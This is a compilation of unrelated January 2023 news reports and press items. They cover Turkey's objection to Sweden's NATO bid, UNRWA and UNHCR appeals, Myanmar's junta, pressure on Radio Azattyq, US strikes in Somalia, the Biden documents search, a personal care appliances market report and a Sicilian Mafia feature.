Even before the Quran burning, the Turkish government was outraged over a protest earlier this month in Stockholm in which demonstrators hanged from a lamp post an effigy of the Turkish leader.

The Swedish government, while condemning the protests, says they fall within freedom of expression, a stance supported Monday by United States.

Speaking in Washington, State Department spokesman Ned Price said, "We have a saying in this country: something can be lawful but awful. I think in this case, what we've seen in the context of Sweden falls into that category."

Washington is strongly backing both Sweden and Finlands bids to join NATO.

But with Sweden granting asylum to many of Erdogan's opponents, some of whom Ankara accuses of being terrorists, Turkey is demanding concessions from Stockholm in exchange for lifting its veto.

Last year NATO brokered a deal among Stockholm, Helsinki, and Ankara to resolve the impasse. But Ilhan Uzgel, an analyst for the Kisa Dalga news portal, said that with Erdogan facing reelection by June, the Turkish president sees a political opportunity in prolonging the dispute.

This issue can be handled in diplomatic corridors. But Erdogan prefers to make it public that he has the power. He is still a world leader. He can bend the will of NATO and to aspiring countries, even the United States. So, I guess that he's going to use it until the elections, said Uzgel.

Saturday's Quran burning, some analysts say, will likely be a political opportunity by the Turkish president to rally his base of religious and nationalist voters.

Standing up to NATO also will play well with his supporters, said Sebnem Ayse Duzgit, an international relations professor at Sabanci University close to Istanbul.

It has to do with the sort of anti-NATO sentiment that's very closely related with the anti-Western and anti-American sentiment in Turkey and the sort of perception that NATO has never really helped Turkey to fight with its own terrorism problem, said Duzgit.

With Turkeys president lagging in many opinion polls as the country grapples with economic problems, few predict any softening in Ankara's stance before elections that are due by June.
Turkey's president cast serious doubt on NATO's expansion Monday after warning Sweden not to expect support for its bid for membership into the military alliance following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

President Recep Tayyip Erdogan slammed Rasmus Paludan's Quran-burning protest on Saturday, saying it was an insult to everyone, especially to Muslims. He was particularly incensed at Swedish authorities for allowing the demonstration to take place outside the Turkish Embassy in Stockholm under "the protection" of security forces.

"It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their NATO membership application," Erdogan said in his first comments regarding the weekend protests, saying Sweden must have calculated the consequences of permitting Paludan's demonstration.

The burning of Islam's holy book angered people across the political spectrum in Turkey, just as Sweden and Finland appeared on the cusp of NATO membership after dropping their longstanding policies of military nonalignment following Russia's war on Ukraine. Russian President Vladimir Putin now stands to benefit as the potential enlargement of the world's most powerful military alliance appears to be stymied.

Erdogan also criticized Sweden for allowing pro-Kurdish protests where demonstrators waved flags of various Kurdish groups, including the Kurdistan Workers' Party, or PKK, which has waged a decades-long insurgency against Turkey. The PKK is considered a terrorist group in Turkey, the European Union and the United States, but its symbols aren't banned in Sweden.

"So you will let terror organizations run wild on your avenues and streets and then expect our support for getting into NATO. That's not happening," Erdogan said, referring to Sweden and Finland's accession bids for the military alliance. He said if Sweden won't show respect to NATO-member Turkey or Muslims, then "they won't see any support from us on the NATO issue."

A joint memorandum signed by Turkey, Sweden and Finland in June averted a Turkish veto of their membership bid at NATO's Madrid summit where they confirmed the PKK as a terror group and committed to prevent its activities. Continued protests are infuriating Ankara who has said Sweden must address Turkey's security concerns and demands for the Turkish parliament to ratify their NATO request.

"If they love terror organization members and enemies of Islam so much, we recommend that they refer their countries' security to them," he added. Several hundred pro-Kurdish protesters walked over a photo of Erdogan on Saturday and an Erdogan effigy was hung from a lamppost in a previous protest. Turkish officials canceled bilateral meetings in response.

Swedish officials have stressed that freedom of expression is guaranteed by the Swedish Constitution and gives people extensive rights to express their views publicly, though incitement to violence or hate speech isn't allowed. Demonstrators must apply to police for a permit for a public gathering. Police can deny such permits only on exceptional grounds, such as risks to public safety. Top Swedish officials have said freedom of expression is crucial to democracy while criticizing Paludan's actions as disrespectful and ones they disagree with.

Anti-Islam activist Paludan, who holds both Danish and Swedish citizenship, established far-right parties in both countries that have failed to win any seats in national, regional or municipal elections. In last year's parliamentary election in Sweden, his party received just 156 votes nationwide. His burning of the Quran sparked counterprotests in Turkey over the weekend, where demonstrators burned his photograph and a Swedish flag.
UNWRA, the U.N. Relief and Works Agency, is appealing for $1.6 billion to provide health, education and protection needs for millions of Palestinian refugees in the occupied Palestinian territory, Jordan, Syria, and Lebanon.

Nearly 6 million Palestinian refugees reside in this volatile region. Most of them live below the poverty line and are hanging on by a thread. UNRWA does not assist all of the refugees but plays an indispensable role in the lives of millions.

It provides primary health care for about 2 million Palestinians in the region. It runs more than 700 schools, providing an education to more than half a million children. Its staff of nearly 30,000 dispenses other essential services, including cash and food.

UNRWA Commissioner-General Phillippe Lazzarini says there is no alternative to the services UNRWA is providing in the absence of a political solution for the Palestinian refugees. However, he warns that UNRWA will not be able to continue this lifesaving operation without a more predictable, long term and regular source of funding.

He says many countries have decided to decrease their overseas budgets. And this, he says, has an immediate impact upon UNRWA, which is very dependent on cash.

Then you heard me also many times talking about the general contribution coming from the Arab countries, which have also substantially decreased over the last few years. And I keep engaging with the countries of the region to have them back as a proper partner of the agency, said Lazzarini.

Lazzarini says he is increasingly concerned about the outcome of elections in donor countries. This is because the government coalition that emerges might be less supportive of the Palestinians and hence less supportive to an agency like UNRWA.

In fact, the reliability the agency enjoyed until, I would say, 2010, 2012. As long as the Israel-Palestinian conflict was still a priority on the international agenda, this reliability and predictability was gone. We saw it in 2018 with the decision to defund the organization by the former Trump Republican administration, said Lazzarini.

He says the situation has taken a turn for the better under the Biden administration. He says Washington resumed in full its contribution of $340 million dollars to UNRWA last year. This makes the United States the main donor of the agency, followed by Germany and the European Union.
The U.N. refugee agency, the UNHCR, is condemning escalating violence in the eastern Democratic Republic of Congo that has killed hundreds of civilians and forced hundreds of thousands to flee their homes in search of safety.

More than 130 armed groups operating in the eastern Democratic Republic of Congo are creating havoc and terrorizing the population with their brutal, frequent attacks. Whole communities have become uprooted. Millions of displaced people have been consigned to a life of destitution and dependence on international aid.

The latest deadly attack occurred in Ituri province on January 19 at the Plaine Savo site for internally displaced people. U.N. refugee agency spokeswoman Eujin Byun says armed men stormed the site and killed two adults and five children.

Many shelters were looted and burned down to the ground. As many as 17,000 people fled to the greater security of the nearby town of Bule. They are now staying in schools, churches, and poorly covered outdoor markets without sufficient food and water, she said.

The UNHCR says more than 200 civilians have been killed in a series of attacks in Ituri in the last six weeks, causing tens of thousands to flee for safety.

It says deadly and destructive attacks by armed men also are occurring in neighboring North Kivu province. Since March, it says, more than half-a-million people have been forced to flee for their lives, increasing the number of displaced people in the province to more than two million.

Byun says the many displaced are unable to provide for themselves and depend upon aid for survival from humanitarian agencies.

Amid the volatility, the UNHCR and partners continue to deliver life-saving assistance to displaced populations. The violence and instability in the region also mean that the UNHCR and partners are delivering life-saving shelter, site management and protection services, despite risks to the safety of humanitarian personnel, she said.

Besides a lack of security and a lack of access to volatile areas, Byun says the UNHCR lacks the money to support the many and growing needs of the displaced. She notes only 46% of the agencys appeal last year was covered. She says the UNHCR hopes this years call for $233 million will emit a more generous response.

More than 5.6 million people are internally displaced in the DRC, making it the largest displacement crisis on the African continent.
A Myanmar junta spokesperson has told VOAs Burmese service that there is uncertainty over whether general elections will be held this year, due to what he calls issues regarding voter registration and opposition attacks surging across the country.

When pressed on the subject, Major General Zaw Min Tun, said, I cant say for sure right now. All I can only say is that we are working hard to hold the elections this year; however, there are various subversive activities, he said in a telephone interview.

Zaw Min Tun appeared to be referring to Myanmars parallel government-in-exile, known as the National Unity Government, or NUG, and other resistance groups that have emerged since the juntas seizure of power on Feb. 1, 2021. The takeover led to the ouster of the democratically elected government of Aun San Suu Kyi and triggered widespread street demonstrations.

The junta also declared illegal an exiled parliament known as the Committee Representing the Pyidaungsu Hluttaw, or CRPH, and imposed states of emergency lasting several months at a time.

Zaw Min Tun added, Groups like the NUG, its parliamentary body the CRPH, and some other groups in foreign countries are saying that they are not recognizing the elections.

The NUG was formed by ousted Myanmar officials and some ethnic leaders who oppose the junta and back the armed resistance movement fighting it. The junta has labeled the NUG a terrorist group.

A spokesperson for the CRPH told VOA the junta, formally known as the State Administrative Council, or SAC, is looking for any reason to stay in power.

Si Thu Maung, the CRPHs spokesperson, said, We can see that what they are attempting to demonstrate is that even though they tried to hold the election in accordance with the constitution due to these disruptions and difficulties, it will no longer be possible, and they will have to continue to rule under martial law.

He added, There have been reports from the SAC that they are experiencing disruptions in the collection of the population census for the election.

It is not clear who the candidates will be or when the election will take place.

The United States imposed sanctions against Myanmar, formerly known as Burma, in response to the coup.

U.S. State Department Counselor Derek Chollet said in an interview with VOA last week that there is no chance that the proposed elections in Myanmar will be free and fair.

You can't have a free and fair election when you're jailing every significant opposition when you're committing atrocities when you're shutting down a free press.

Myanmars ruling military leader, Min Aung Hlaing, announced detailed plans for an election during a ceremony marking the 75th anniversary of independence from Britain on January 4.

In his speech in the capital, Naypyitaw, Min Aung Hlaing said, Upon accomplishing the provisions of the state of emergency, free and fair elections will be held in line with the 2008 constitution, and further work will be undertaken to hand over state duties to the winning party in accordance with the democratic standards.

Si Thu Maung, however, said, We understand that an election is normally announced six months in advance. If the SAC holds elections in August, as many have predicted, they will now have to announce at the end of January. And they will find some options or way to extend their rule in the interim before the election.
U.S. lawmakers have called on Kyrgyzstan authorities to lift restrictions on Radio Azattyq after renewed efforts by authorities to have it permanently closed.

The Ministry of Culture appealed to a court in the capital, Bishkek, to have the media outlet terminated. The order is related to September 2022 coverage by the outlet about an armed conflict on the Kyrgyz-Tajik border, which the ministry said included ambiguous material against national interests.

In October 2022, authorities blocked access to the media outlets website for two months over the report. That order was extended in December, with the ministry at the time saying the block will remain in effect until the specified material is removed. Authorities also froze the media outlets bank account.

The ministry said that Radio Azattyqs actions are in violation of the countrys media, which prevents propaganda of war, violence and cruelty, national and religious discrimination, and intolerance to other peoples and nations.

Radio Azattyq is an affiliate of VOAs sister network Radio Free Europe/Radio Liberty.

RFE/RL President Jamie Fly said that after studying the material, the network concluded that journalism standards were not violated.

"Pressure on independent media casts a shadow on Kyrgyzstan's democracy," Fly said in a statement. He added that the broadcaster would use all possible legal means to continue our activities in Kyrgyzstan.

U.S. Senators Bob Menendez and Jim Risch, who are chair and ranking member of the Committee on Foreign Relations, called on Kyrgyz President Sadyr Japarov to stop putting pressure on Radio Azattyq and other independent media.

In a statement published Friday, the senators said that the action violates international standards of freedom of speech as well as the countrys constitution.

The senators said the decisions to block Radio Azattyk websites indefinitely and freeze the services bank account jeopardizes [Kyrgyzstans] international reputation as a beacon of free speech in Central Asia.

The statement highlighted President Japarov's commitment to protect human rights and the rule of law and called on him to "create an opportunity for independent mass media so that Kyrgyz journalists can work freely."

In response, the presidents press secretary, Erbol Sultanbaev, stated that "Kyrgyzstan is a free, democratic country with all the conditions for the full-fledged activity of independent media."

Sultanbaev said that the only requirement is that everyone observe the current laws.

Kyrgyz media analysts see the blocking of Radio Azattyq as "a deliberate step taken by the government to strengthen the autocratic regime in Kyrgyzstan.

In a joint statement, local journalists said that the broadcaster had reported only on information distributed by the official state agencies related to the conflict.

"The lawsuit alleges that the host of the program received comments from both sides. In this case, the behavior of the editors is worthy of the professional standards of the work of journalists," the statement read.

In an interview with the Kloop news agency, media expert Gulnura Toralieva said that by putting pressure on Azattyq, the government reduces the space for pluralism, hides the shortcomings of its activity and tries to intimidate other media.

"If we look at the steps taken by the government, it seems that actions for freedom of speech will be much more difficult. Demanding freedom of speech is becoming more and more difficult," Toralieva was cited as saying in Kloop.

The New York-based Committee to Protect Journalists also condemned the ministry request as a black mark in the history of freedom of speech in the country."

"The Kyrgyz government should withdraw its application to close Azattyq Radio, cancel the ban on the publication's website, open the bank account and stop all pressure on the mass media," Gulnoza Said, who is the nonprofits Europe program coordinator, said in a statement.

In its annual global report released in January, Human Rights Watch said that despite promises to uphold human rights and freedoms, Kyrgyz authorities restricted critical voices and civil society.

The report cited the blocking of Radio Azattyq and two other media outlets in 2022 and said that press freedom came under siege with criminal cases filed against independent journalists and bloggers.

A hearing related to Radio Azattyqs case is due to take place in district court in February.

This article originated in VOAs Uzbek Service.
The United States has reported conducting a new airstrike against al-Shabab in Somalia on January 23, killing two militants.

In a statement, the U.S. military's Africa Command, known as AFRICOM, said it conducted a "collective self-defense" strike against al-Shabab following a request from the Somalian government.

The strike was in support of Somali National Army engagements against al-Shabab, AFRICOM said.

The strike occurred in a remote area near Harardhere, approximately 396 kilometers northeast of Mogadishu where Somali forces were conducting operations.

"Given the remote location of the operation, the initial assessment is that no civilians were injured or killed," the statement said.

Harardhere is a coastal town and former pirate hub captured by Somali government forces on January 16. Somali Defense Minister Abdulkadir Mohamed Nur and Galmudug state leader Ahmed Abdi Karie, nicknamed Qoorqoor, posted pictures of themselves, accompanying Somali forces conducting military operations in the Harardhere area.

It's the second U.S. strike against al-Shabab in recent days. On January 20, the U.S. conducted another "collective self-defense" strike against al-Shabab near the town of Galcad in Galmudug, killing 30 militants.

AFRICOM said Friday's strike followed an al-Shabab attack on Somali government forces based in Galcad. That attack led to the death of at least seven government soldiers including one of the commanders of the Somali Danab, or lightning, elite forces trained by the United States.

"The U.S. is one of several countries providing support to the federal government of Somalia in its ongoing campaign to disrupt, degrade and defeat terrorist groups," AFRICOM said. "Rooting out extremism ultimately requires intervention beyond traditional military means, leveraging U.S. and partner efforts to support effective governance, promote stabilization and economic development, and resolve ongoing conflicts."

Despite the operations, al-Shabab has been conducting raids and complex attacks against Somali military camps and government installations in the capital, Mogadishu.

The militants fired mortars at the Mogadishu city center Tuesday. The group claimed that it fired nine rounds of mortars in the vicinity of the presidential palace. Residents reported hearing explosions. There are reports that one person suffered a minor injury as a result of the indirect fire.

This past Sunday, the militants stormed a compound housing the mayor's office and other local government facilities in the capital, killing five civilians. Security forces ended the raid, fatally shooting all six attackers.
I have made many attempts to have a conversation with State Sen. Sean Ryan regarding his proposed legislation (S00138) to remove National Rifle Association certified instructors as qualified trainers under the Concealed Carry Improvement Act. The bill calls for the training and approval of instructors to fall under the purview of the Division of Criminal Justice Services.

As an NRA instructor, I was hopeful that Ryan and I could have a professional and meaningful conversation. His reluctance to speak on the topic leads me to believe that the senator is taking the same tack as Gov. Kathy Hochul on the topic.

Over the past 150 years, generations of shooters and hunters were trained in NRA classes by NRA certified instructors. I have taken many NRA classes and they all focus on the skills needed to safely operate firearms. I have never taken a class that veered into politics. However, Ryans legislation is strictly about politics. He will dismantle an effective method of training instructors solely as political retribution to the political wing of the NRA. Furthermore, his solution is to transfer these responsibilities to the Division of Criminal Justice Services. DCJS is totally unprepared to operate in this capacity.

Senator Ryan, I implore you (and Gov. Hochul) to take a step back and have invaluable conversations with the firearms community. There are ways to decrease firearms related crime while not infringing on Second Amendment rights. Jettisoning the NRA is not one of them.

Joe DeAntonis

Hamburg
The U.S. Food and Drug Administration is proposing switching to an annual COVID-19 vaccination campaign for the country, similar to the flu shot.

In documents posted online Monday, the agency said the new strategy would provide a simplified approach to the coronavirus vaccine. The proposed plan is set to be discussed at a meeting this week of FDA scientists and the agencys panel of external vaccine advisers.

The FDA said most Americans would need only one annual vaccination to help protect them against the coronavirus, while others  including the elderly, the very young and those with weakened immune systems  might need a two-dose inoculation for additional protection.

Under the current vaccination system, a person must get two doses of the original COVID-19 vaccine, which targets the coronavirus that emerged in 2020. Following that, booster shots have been recommended at periodic intervals, with the latest boosters targeting both the original virus and the omicron variant.

The proposed FDA changes would do away with the system of primary vaccinations and boosters and would instead recommend for most Americans a single vaccine dose that is developed annually.

As with the flu shot, vaccine makers and independent experts would aim to develop a shot that targets the virus strains most likely to dominate in the winter season. The targeted strains could be changed every year.

The FDA is also considering making the shots interchangeable, so people would not have to keep track of which vaccine brand they receive.

The agency is hoping the changes will make it easier for Americans to continue with their COVID inoculations amid a waning interest from the public to receive repeated booster shots.

While more than 80% of the U.S. population has had at least one vaccine dose, only 16% of eligible Americans have received the latest booster shot, according to The Associated Press.

The proposed FDA changes also come as experts have been publicly debating how effective the latest booster shots have been at increasing protection against COVID-19, especially in healthy adults.

Some information in this report came from The Associated Press and Reuters.
For the past few months, human rights activists have been sounding alarms about the Russian private military company Wagner Group using convicts to fight Moscows war in Ukraine. Now, the White House says casualties are extraordinarily high among the estimated 40,000 convicts fighting for the mercenary group on front lines in Ukraine. Igor Tsikhanenka has more. Patsy Widakuswara contributed.
The White House on Monday defended itself from growing criticism after an FBI search Friday at President Joe Biden's personal residence yielded yet more classified documents, by saying that the administration is cooperating with authorities.

On Monday, White House spokesperson Ian Sams stressed that the FBI search of Biden's Wilmington, Delaware, home was a "voluntary, proactive offer by the president's personal lawyers."

The new discovery adds to a continuing Department of Justice investigation into Biden's handling of sensitive material, and has drawn growing criticism  even from Biden's Democratic party. Senators Dick Durbin and Joe Manchin both leveled barbs against the president over the weekend, with Durbin saying Biden should be "embarrassed" and Manchin calling the president "irresponsible."

Biden's lawyers say they first found documents with classified markings in early November, in a D.C. office he used after he left the vice presidency. They have not said why they did not openly announce that discovery, informing relevant authorities but not the public. They then found more documents in December and January in Biden's Wilmington home. Friday's FBI search of that same home, which took 13 hours, yielded still more, said White House lawyer Richard Sauber in a statement released Saturday. He said those documents were immediately turned over to the Department of Justice.

Throughout, the White House has tried to draw a distinction between Biden's handling of documents and that of his predecessor Donald Trump, who did not cooperate with requests for the materials he took when he left office.

"It underscores how seriously he's taking this issue that he would proactively and voluntarily disclose to [the Department of Justice] these findings as soon as they occur and that he would take the step of giving access to the home to DOJ to do an exhaustive search of the premises," Sams told reporters.

Sams declined, for the second consecutive week, to answer specific questions: Exactly how many documents were found? Will there be more searches of other properties Biden has used? Who pays the president's lawyers? What's in the documents and does the president know what their contents are?

And White House press secretary Karine Jean-Pierre, for the second week, faced blistering questions from varied U.S. and international media organizations.

"When you found out that the FBI located even more classified materials in Wilmington, which four-letter word did you use?" asked a reporter from the right-leaning FOX news network.

Jean-Pierre responded to that with a laugh. But on other, more serious questions, she referred reporters to White House Counsel and to Justice Department officials. Yet another question she did not answer, for two consecutive briefings, is whether she remains capable of steering the White House's communications on the matter. Critics have accused the administration of not being transparent, and reporters have asked for White House lawyers to appear before them in public to take questions.

Sams, who represents the White House Counsel's office, told reporters in an invitation-only conference call that the administration wants to let the investigation proceed without the appearance of interference.

"Throughout this process, we've tried to give you guys public information as it's appropriate, consistent with that ongoing investigation, to respect the integrity of that investigation, because again, the president has been very clear going all the way back to the campaign," he said. "He sees the Justice Department as independent. Very important to keep them independent, to not influence their decision making."

And he took aim at the media's unrelenting demands for information.

"I know for a lot of you guys who have been covering this for the last few years, especially, that may be a foreign concept," he said. "But I think that the American people see it for what it is, which is the president respecting the appropriate entity who's doing an investigation and ensuring that they have the independence they need to conduct that investigation."

A new poll, conducted over the weekend, found that 77% of Americans believe that Donald Trump acted inappropriately in his handling of classified documents; 64% believe the same of Biden. But, when asked which case was more serious, the largest group of people polled  43%  said Trump's actions were a bigger concern.

Trump seems to be using the Biden saga to minimize the severity of his actions, posting to his social media account over the weekend: "They created this Documents mess for themselves by being so totally DERANGED about me, and I did NOTHING WRONG!!!"

An FBI search of Trump's Florida home last year yielded about 300 documents of various levels of classification. That investigation is ongoing.
On the final day of her visit to Zambia, U.S. Treasury Secretary Janet Yellen discussed climate-resilient food production and the global fallout from Russias war on Ukraine.

On her second day in Zambia, Treasury Secretary Janet Yellen said hunger and food insecurity are exerting a heavy toll on communities around the world.

Secretary Yellen said it is for this reason the United States is taking strong and immediate actions to alleviate hunger.

Yellen spoke Tuesday in Chongwe, east of the Zambian capital, Lusaka, where she met with several female farmers through the green climate fund, which the U.S. is supporting through the United Nations.

The project - Climate Resilience of Agricultural Livelihoods in AgroEcological Regions in Zambia - is aimed at helping small-scale farmers better manage the impacts of climate change and alleviate hunger.

The number of people facing acute food insecurity has risen to 345 million across 80 countries. In Zambia, about 2 million people face acute food insecurity and nearly half the population is unable to meet the daily caloric intake, she said.

Secretary Yellen also mentioned that Russias war on Ukraine has caused major food supply disruptions across the world.

She said the U.S. will work closely with African countries like Zambia to develop its infrastructure and logistics capabilities.

She underscored the African continent needs a robust capacity not only to grow food, but to ensure it can be cultivated, stored and efficiently transported.

And this difficult situation has been exacerbated by Russias illegal war on Ukraine, which has further stressed fuel and fertilizer prices across the world, she said.

Secretary Yellen was accompanied to Chongwe by Zambias acting agricultural minister, Gary Nkombo, who expressed gratitude for the U.S. support to Zambia. Nkombo said about 150 families have benefited from the U.N.-led program in Chongwe, which focuses on conservation farming.

Last month, more than 40 African leaders met with members of the U.S. administration in Washington, which pledged to strengthen investments between Africa and the U.S.
WASHINGTON DC - Opposition Citizens Coalition for Change leader Nelson Chamisa says President Emmerson Mnangagwa is panicking ahead of the forthcoming general elections and as a result his government has launched a crackdown on members of his party, which was formed one year ago.

Speaking after interacting with CCC activists at the Magistrates Court in Harare today, Chamisa said there is no rule of law in Zimbabwe

Job Sikhala has been imprisoned for over seven months. Now we have Honorable (Amos) Chibaya, Honorable (Costa) Machingauta and many of our leaders from Budiriro who are change champions. What is clear is that my brother Mr. Mnangagwa is back to his old ways. Hes panicking, hes jittery. He knows that the writing is on the wall. He knows that defeat is imminent and this is why he is resorting to desperate tactics of fighting what is inevitable. Change is coming, change is in the air and because they are so afraid of the change, they are so scared of our strength.

Chamisa claimed that Mnangagwa has used all dirty tactics in an attempt to decimate his party.

We are just one year today. We announced on the 24th that were going to have a new movement. They thought that they had finished us. They have used every tactic  assassinations, bribery, intimidation, arrests. They have not worked and we are here which is evidence that Zimbabwe is broken, which is evidence that the rule of law has departed us and we are orphaned in leadership. Were in a famine and drought of leadership as a people because governance is broken down and because Mr. Mnangagwa is on a rampage. He has taken from the template of Robert Mugabe and Ian Douglas Smith  autocracy and dictatorship  and that is what we are fighting and we are determined to fight them to the end because we believe that peace is always victorious and we are peace-loving people and its not because we are weak. Its just because we love Zimbabwe better.

CCC was formed last year when Chamisa dumped the Movement for Democratic Change and its symbols following disputes with Douglas Mwonzora and others.

Twenty-six CCC members were arrested last week for attending what the state claims was an illegal meeting in Harares Budiriro suburb.

Zanu PF activists argue that arrested CCC activists broke the law. They dismissed suggestions that Mnangagwas government is cracking down on dissenting voices ahead of the crucial elections to be held sometime this year.

Mnangagwa toppled the late former President Robert Mugabe in a defacto military coup in 2017. In 2018, he won the disputed presidential election amid claims of election rigging by the opposition.

VOA Correspondent Frank Chikowore contributed to this report
Funeral Announcements A daily list of current funeral annoucements as heard on KXRA 1490 AM/100.3 FM

News Updates The daily news, sports, and events delivered daily from Voice of Alexandria.



Sports Update This current sports headlines delivered daily from Voice of Alexandria.

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Breaking News The big news. Sent only as it happens.
The Federation of American Scientists confirms in January the news given by Grandangolo in December 2022 based on a U.S. Air Force document: the C-17A Globemaster aircraft has been authorized to carry the U.S. B61-12 nuclear bomb to Italy and other European countries. Since Biden Administration officials had announced that the B61-12 shipment would be brought forward to December, we believe that the new US nuclear bombs are already arriving in Europe to be deployed against Russia.

The U.S. and NATO are pouring into Ukraine huge amounts of heavy artillery munitions supplied to the Kiev armed forces. The U.S.-according to official figures-has so far sent more than one million rounds of ammunition for 155 mm howitzers to Ukraine, plus tens of thousands of missiles. About 300,000 rounds of ammunition come from U.S. military depots in Israel. The arms shipment is managed by an international network, in which Camp Darby- the largest U.S. arsenal outside the motherland, connected to the port of Livorno and Pisa military airport  plays a central role. Britain, France, Poland and Finland are supplying Kiev with tanks, and Poland is purchasing Abrams tanks from the U.S. Some of which may be destined for Ukraine.

At the same time, the U.S. and NATO are enhancing the deployment of their forces in Europe, increasingly close to Russia. In Romania, NATO deployed AWACS aircraft, equipped with the most sophisticated electronic equipment, kept constantly in flight near Russian airspace. Also in Romania, the Pentagon deployed the 101st Airborne Division, which is being deployed to Europe for the first time since World War II.

NATO and the EU establish a task force on resilience and critical infrastructure. NATO, declares the Council of the European Union, remains the foundation of our collective defense. We recognize the value of a stronger European Defense that contributes to transatlantic security and is complementary and interoperable with NATO.
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Global Personal Care Appliances Market

Global Personal Care Appliances Market

Dublin, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The "Personal Care Appliances Global Market Report 2022" report has been added to ResearchAndMarkets.com's offering.

This report provides strategists, marketers and senior management with the critical information they need to assess the global personal care appliances market.



The global personal care appliances market is expected to grow from $18.22 billion in 2021 to $19.31 billion in 2022 at a compound annual growth rate (CAGR) of 6.0%. The personal care appliances market is expected to grow to $24.32 billion in 2026 at a compound annual growth rate (CAGR) of 5.9%.

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Gain a truly global perspective with the most comprehensive report available on this market covering 12+ geographies.

Understand how the market is being affected by the coronavirus and how it is likely to emerge and grow as the impact of the virus abates.

Create regional and country strategies on the basis of local data and analysis.

Identify growth segments for investment.

Outperform competitors using forecast data and the drivers and trends shaping the market.

Understand customers based on the latest market research findings.

Benchmark performance against key competitors.

Utilize the relationships between key data sets for superior strategizing.

Suitable for supporting your internal and external presentations with reliable high quality data and analysis

Major players in the personal care appliances market are Koninklijke Philips N.V., Conair Corporation, Dyson Ltd., Havells India Ltd., Helen of Troy Limited, Panasonic Corporation, Spectrum Brands Holdings Inc., The Procter & Gamble Company, The Wahl Clipper Corporation, Vega Industries Private Limited, Yongkang Xinji Hairdressing Appliance Factory, Braun GmbH, Norelco Consumer Products Company and Johnson & Johnson.



The personal care appliances market consists of sales of electric personal care devices by entities (organizations, sole traders, and partnerships) that are used for personal hygiene, personal grooming, or beautification. Personal care appliances refer to devices that facilitate personal care applications including hair care, oral care, and hair removal.



The main types of personal care appliances products include hair care, hair removal, oral care and other products. Hair care appliances are used for hair care on the human scalp, and to a lesser extent facial, pubic and other body hair. There are many types of hair care devices are available such as hair dryers, hair straighteners, curling brushes, hair clippers, curling irons, hair setters and others. The different distribution channels include online and offline for end-users including male and female.



North America was the largest region in the personal care appliances market in 2021. Asia Pacific is expected to be the fastest-growing region in the forecast period. The regions covered in the personal care appliances market report are Asia-Pacific, Western Europe, Eastern Europe, North America, South America, Middle East and Africa.



The increase in the e-commerce industry is expected to propel the growth of the personal care appliances market going forward. The e-commerce industry refers to the transactions of sale of products online. E-commerce helps in easy promotion and sales of products to customers. For instance, according to India Brand Equity Foundation, a government-based promotion agency, the e-commerce market in India reached $52.57 billion and $67-84 billion in 2020 and 2021 respectively and is expected to reach $350 billion by 2030. Therefore, the positive outlook of the e-commerce industry is driving the personal care appliances market.



Technological advancements are a key trend gaining popularity in the personal care appliances market. Companies are emphasizing launching new technologically advanced products to capture significant market share. For instance, in January 2021, Panasonic, a Japan-based conglomerate company operating in personal care appliances launched a new hair dryer (EH-NA67-W) for all ages and genders. The newly launched EH-NA67-W uses patented nanotechnology to reduce hair damage from daily brushing.

Story continues

Also, in August 2020, Philips, a Dutch conglomerate company operating in personal care appliances introduced a brand new Hair Clipper 3000 series under the male grooming category designed with advanced Dual Cut and Trim & Flow Technology. The newly launched Philips Hair Clipper delivers maximum precision making it easy to get a salon-like haircut at home.



In November 2021, Edgewell Personal Care, a US-based consumer products company acquired Billie Inc., in an all-cash transaction at a purchase price of $310 million. With the acquisition, the Billie brand complements and strengthens Edgewell's position in the women's shaving category, by adding to a portfolio of strong brands including Schick Intuition, Hydro Silk, and Skintimate. Billie Inc. is a US-based consumer brand company offering a broad portfolio of personal care products for women.



The countries covered in the personal care appliances market report are Australia, Brazil, China, France, Germany, India, Indonesia, Japan, Russia, South Korea, UK and USA.

Report Attribute Details No. of Pages 175 Forecast Period 2022 - 2026 Estimated Market Value (USD) in 2022 $19.31 billion Forecasted Market Value (USD) by 2026 $24.32 billion Compound Annual Growth Rate 5.9% Regions Covered Global

Key Topics Covered:



1. Executive Summary



2. Personal Care Appliances Market Characteristics



3. Personal Care Appliances Market Trends And Strategies



4. Impact Of COVID-19 On Personal Care Appliances



5. Personal Care Appliances Market Size And Growth

5.1. Global Personal Care Appliances Historic Market, 2016-2021, $ Billion

5.1.1. Drivers Of The Market

5.1.2. Restraints On The Market

5.2. Global Personal Care Appliances Forecast Market, 2021-2026F, 2031F, $ Billion

5.2.1. Drivers Of The Market

5.2.2. Restraints On the Market



6. Personal Care Appliances Market Segmentation

6.1. Global Personal Care Appliances Market, Segmentation By Product, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Hair Care

Hair Removal

Oral Care

Other Products

6.2. Global Personal Care Appliances Market, Segmentation By Distribution Channel, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Online

Offline

6.3. Global Personal Care Appliances Market, Segmentation By End User, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Female

Male

7. Personal Care Appliances Market Regional And Country Analysis

7.1. Global Personal Care Appliances Market, Split By Region, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

7.2. Global Personal Care Appliances Market, Split By Country, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

For more information about this report visit https://www.researchandmarkets.com/r/xjhe0y

Attachment

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Giuseppe Cimarosa has firsthand knowledge of the Sicilian Mafia and its intimidation tactics as the son of a mafioso turned state witness and the cousin of captured Cosa Nostra boss Matteo Messina Denaro.

While many in Messina Denaro's hometown of Castelvetrano remained silent after his arrest last week after 30 years on the run, Cimarosa organised a protest in front of the mobster's ancestral home.

"Now the real battle is cultural. Now you have to change people's mentality," the 40-year-old riding instructor told AFP at his stables in the town in western Sicily, where the mob boss was born and reigned with terror.

"Now the enemy is no longer the Mafia but the Mafia-like behaviour or simply a way of thinking that unfortunately is still rampant.

"We must start with teaching in schools, and then the state has to support those who, like me, rebel."

Cimarosa was disappointed that the turnout at last week's small protest was not higher, but he himself breathed a sigh of relief at Messina Denaro's arrest.

"The Mafia is not as unbeatable as it thought it was," he said, adding that he felt "a little safer".

Wall of omerta

The Cosa Nostra, immortalised in the Godfather films, had already evolved from the ruthless organisation that murdered judges and detonated deadly car bombs in Italy's major cities three decades ago.

The state responded with a years-long crackdown, and experts say the Mafia has now been surpassed by other groups in Italy, most notably the 'Ndrangheta in the southern region of Calabria.

It was, however, powerful enough to keep Messina Denaro safe for 30 years on the run.

